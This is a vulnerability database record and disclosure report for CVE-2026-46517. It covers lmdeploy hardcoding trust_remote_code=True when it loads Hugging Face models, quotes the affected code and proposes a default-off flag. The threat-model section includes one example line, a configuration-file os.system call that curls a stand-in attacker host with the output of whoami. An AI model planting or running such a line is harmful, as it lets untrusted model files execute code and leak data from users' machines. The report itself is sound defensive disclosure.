{"id":"CVE-2026-46517","aliases":["GHSA-9xq9-36w5-q796","PYSEC-2026-2608"],"title":"lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out","summary":"lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out","severity":"high","cvss":7.8,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","vendor":"lmdeploy","product":"lmdeploy","ecosystem":"pip","affected":["lmdeploy < 0.13.0"],"patched":["lmdeploy 0.13.0"],"published":"2026-05-21","updated":"2026-09-15","sourceUpdated":"2026-09-15T05:15:04.426947029Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-9xq9-36w5-q796","references":[{"url":"https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46517"},{"url":"https://github.com/github/advisory-database/pull/4511"},{"url":"https://github.com/InternLM/lmdeploy/commit/81be52961aa324fd5cd3cacebffba1ba051bc107"},{"url":"https://github.com/InternLM/lmdeploy"},{"url":"https://github.com/InternLM/lmdeploy/blob/v0.13.0/lmdeploy/version.py"},{"url":"https://github.com/InternLM/lmdeploy/releases/tag/v0.13.0"},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/lmdeploy/PYSEC-2026-2608.yaml"}],"tags":["osv","pip"],"epss":0.00163,"epssPercentile":0.05902,"ingestedAt":"2026-07-13T18:57:56.178Z","slug":"CVE-2026-46517","body":"## Overview\n\n> ## 📋 Reframing (2026-05-02): implicit unsafe remote-code path, not \"supply-chain\"\n>\n> The accurate description of this vulnerability is:\n> **\"`get_model_arch` and related helpers hardcode `trust_remote_code=True`\n> with no opt-out, creating an implicit unsafe remote-code load path\n> on every model fetch.\"**\n>\n> What this report does NOT claim:\n> * It is NOT a network-attack RCE — the user supplies the model\n>   reference; LMDeploy honors it.\n> * It is NOT a \"supply chain\" CVE in the classical sense (where a\n>   benign upstream is compromised) — the user explicitly types the\n>   repo name.\n>\n> What this report DOES claim:\n> * Other inference frameworks (vLLM, TGI, Hugging Face transformers\n>   itself) all expose `--trust-remote-code` as **opt-in** so that\n>   users who consciously load known-safe repos can opt in, while\n>   users following a tutorial cannot accidentally execute attacker\n>   Python by typing a wrong repo name.\n> * LMDeploy's hardcoded True is an **implicit** trust-boundary\n>   override that violates HF Transformers' default-secure stance\n>   (`trust_remote_code=False` since transformers ≥ 4.30).\n> * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting\n>   False, threaded through the three sites, matching the rest of\n>   the ecosystem.\n>\n> Severity should be assessed as **hardening / safe-by-default**,\n> not as full unauthenticated RCE. CVSS revised to **5.5 Medium**\n> (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` × user-must-load qualifier).\n>\n> Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`.\n\n---\n\n# F13 — LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in\n\n**Reporter:** ibondarenko1 / sactransport2000@gmail.com\n**Coordinated-disclosure window:** 90 days from initial vendor email.\n\n## TL;DR\n\nLMDeploy unilaterally passes `trust_remote_code=True` to\n`transformers.AutoConfig.from_pretrained()` (and several other\n`from_pretrained` callers) **regardless of any user opt-in**. The\nflag is hardcoded `True` in source — there is no CLI flag, no\nenvironment variable, no parameter, and no warning that lets a\nuser refuse remote code execution from the model repository.\nThis is a **silent override of HuggingFace Transformers' own\ndefault-secure stance** (`trust_remote_code=False`) introduced\nin HF Transformers ≥ 4.30 specifically to prevent this class of\nsupply-chain RCE.\n\nThe user running `lmdeploy serve api_server <attacker_repo>`,\n`lmdeploy lite calibrate <attacker_repo>`, etc. has **no way to\nopt out**. The only escape hatch is for the user to never load\nany third-party HF repo with LMDeploy — which is incompatible\nwith LMDeploy's documented use case.\n\nHuggingFace's `trust_remote_code=False` default exists exactly to\nprevent silent RCE when loading a third-party repo. LMDeploy overrides\nthis default, restoring the unsafe behaviour transparently. A malicious\nHF repo with a `configuration_*.py` shim runs Python code as the\nLMDeploy user at the very first call to `get_model_arch(...)`.\n\nThis is a documented anti-pattern (see HF Hub docs:\n\"Trusting custom code is therefore tricky...\"). Multiple peer\nprojects fixed similar issues — e.g. Hugging Face Transformers\nitself made this opt-in by default, and `vllm` exposes the flag\nthrough `--trust-remote-code` rather than hardcoding it.\n\n## Affected version\n\n* Repository: `github.com/InternLM/lmdeploy`, branch `main`.\n* Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92`\n  (2026-05-02).\n* Pinned blob SHAs:\n  * `lmdeploy/archs.py` → `68fa03a407734be1e2ae04098d34e9acdbe98262`\n  * `lmdeploy/lite/apis/calibrate.py` →\n    `0728304bdc3c03eee1d790bfbd5496df080a0ecd`\n  * `lmdeploy/lite/utils/load.py` →\n    `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120`\n  * `lmdeploy/pytorch/check_env/model.py` →\n    `b1a2daaa426bf5fe25030f7913c703eed9f5b261`\n\nSnapshots of all four files are in `source_pinned/`.\n\n## Source-level evidence\n\n### Site 1 — architecture detection (every load goes through here)\n\n`lmdeploy/archs.py:147-157` — `get_model_arch`:\n```python\ndef get_model_arch(model_path: str):\n    \"\"\"Get a model's architecture and configuration.\"\"\"\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)\n```\n\n**Both** the primary path and the fallback hardcode\n`trust_remote_code=True`. There is no parameter to override it. This\nfunction is called from every model-loading path in lmdeploy.\n\n### Site 2 — quantization CLI\n\n`lmdeploy/lite/apis/calibrate.py:248-251`:\n```python\ntokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)\n...\nmodel = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)\n```\n\n`lmdeploy lite calibrate <repo>` and downstream quant CLIs (gptq,\nawq) all flow through this. Hardcoded.\n\n### Site 3 — calibration helper\n\n`lmdeploy/lite/utils/load.py:55`:\n```python\ndef load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):\n    ...\n    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)\n```\n\nEven if the caller does not pass `trust_remote_code=True` in\n`**kwargs`, the helper internally hardcodes it on the config call\n(line 55), then loads the model on line 74. The config call alone is\nsufficient for RCE: HF Transformers downloads `configuration_*.py`\nfrom the repo and `import`s it whenever `trust_remote_code=True`.\n\n### Site 4 — pytorch engine check\n\n`lmdeploy/pytorch/check_env/model.py:10,99,234,242` —\n`trust_remote_code: bool = True` is the default value for the engine's\nparameter. Unlike the three sites above, this is \"default true\" not\n\"hardcoded true\" — a determined caller can pass False — but every\nshipped CLI passes True or relies on the default.\n\n### What `trust_remote_code=True` actually enables\n\nWhen `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is\ncalled and the repo's `config.json` contains an `auto_map` key\npointing to a custom `configuration_<name>.py`:\n\n1. HF Transformers downloads the `.py` file from the repo.\n2. HF imports the module via `importlib`, **executing the file's\n   top-level code** (any `print`, `os.system`, `subprocess.run`,\n   `urllib.request.urlopen`, etc. fires now).\n3. HF then instantiates the named class.\n\nSo a malicious repo only needs a top-level\n`os.system(\"curl https://attacker/?$(whoami)\")` in\n`configuration_evil.py`. It runs as the lmdeploy process user.\n\n## Threat model\n\n**Attack surface.** Any user who runs an lmdeploy CLI command against\na HuggingFace repo identifier they did not personally vet. This\nincludes:\n\n* Casual users following a tutorial that says\n  `lmdeploy serve api_server <some_repo>`.\n* CI pipelines that automatically pull a model from HF Hub by\n  configuration (e.g. updates to a non-Pinned version tag).\n* Researchers comparing models from many authors. Even running\n  `lmdeploy lite calibrate` for benchmarking is enough.\n\nThe user is **not warned** that arbitrary Python from the repo will\nexecute, and there is **no flag** to disable it. The CVE class is\nCWE-94 (Improper Control of Generation of Code, supply-chain\nflavour) and CWE-915 (Improperly Controlled Modification of\nDynamically-Determined Object Attributes).\n\n## Comparison to peer projects\n\n| Project | trust_remote_code default | User control |\n|---|---|---|\n| HuggingFace Transformers | False | `trust_remote_code` keyword arg |\n| vLLM | False | `--trust-remote-code` flag |\n| **LMDeploy** | **True (hardcoded)** | **None** |\n| TGI | False | `--trust-remote-code` flag |\n\nLMDeploy is the outlier. The rationale is presumably \"internal\nmodels like InternLM need custom configuration_*.py\", but the fix is\nto accept a CLI flag like `--trust-remote-code` and default-False as\nthe rest of the ecosystem does.\n\n## Severity\n\nCVSS v3.1 `AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` — **Base 7.8 High**.\n\n* AV:L — local (the user runs lmdeploy on their own host).\n* AC:L — single command.\n* PR:N — no privilege.\n* UI:R — user must invoke lmdeploy with the malicious repo. Minor\n  qualifier: many users will type `lmdeploy serve api_server <repo>`\n  trusting that lmdeploy implements basic safety.\n* C:H, I:H, A:H — full RCE on the user's machine; can read\n  ~/.aws/credentials, exfiltrate data, persist, etc.\n\nIf the lmdeploy host is a multi-tenant inference platform (e.g. a\ncloud provider running lmdeploy as a service for multiple paying\ncustomers), the attack changes shape: any tenant who can pin a\ncustom model name in their tenancy gets RCE on the inference host\nand **scope changes to S:C** with cross-tenant impact. CVSS rises\nto 9.6+. We are **not** claiming this dimension here without\nruntime evidence; just flagging it for triage.\n\n## Suggested fix\n\nReplace every hardcoded `trust_remote_code=True` with an explicit\nopt-in via CLI flag:\n\n```python\n# lmdeploy/archs.py — get_model_arch\ndef get_model_arch(model_path: str, trust_remote_code: bool = False):\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n```\n\nWire `trust_remote_code` through every call site. Add `--trust-remote-code`\nto lmdeploy's CLI parser and forward it from server / calibrate /\ngptq / etc. **Default False**.\n\nA patch fragment is in `patch.diff`.\n\n## Disclosure plan\n\n1. Submit privately via lmdeploy security contact (typically email or\n   GitHub Security Advisory at\n   `https://github.com/InternLM/lmdeploy/security/advisories/new`).\n2. Reference Hugging Face Transformers' historical opt-out → opt-in\n   change as precedent for the fix shape.\n3. 90-day coordinated-disclosure window starting from acknowledgement.\n4. Request CVE through GHSA flow once the patch lands.\n\n## Why static-only is sufficient here\n\nUnlike F11 (RCE chain through `_load_pt_file`) which required a\nruntime PoC to demonstrate the pickle gadget execution, this finding\nis a **single trust-flag flip** — the behaviour of\n`AutoConfig.from_pretrained(repo, trust_remote_code=True)` on a HF\nrepo with a malicious `configuration_*.py` is documented behaviour of\nHF Transformers itself (their own docs warn against it). Reproducing\nit adds no new evidence; the static flag-state is the bug.\n\nIf the vendor requests a runtime PoC during triage we will provide\none (a malicious HF repo with `configuration_evil.py` + a one-liner\n`lmdeploy lite calibrate <repo>` invocation), but holding it back from\nthe initial advisory avoids publishing a working exploit during the\ndisclosure window.\n\n## Affected packages\n\n- `lmdeploy < 0.13.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `lmdeploy 0.13.0`","depth":"twilight","depthScore":43,"depthScoreParts":{"impact":42.9,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}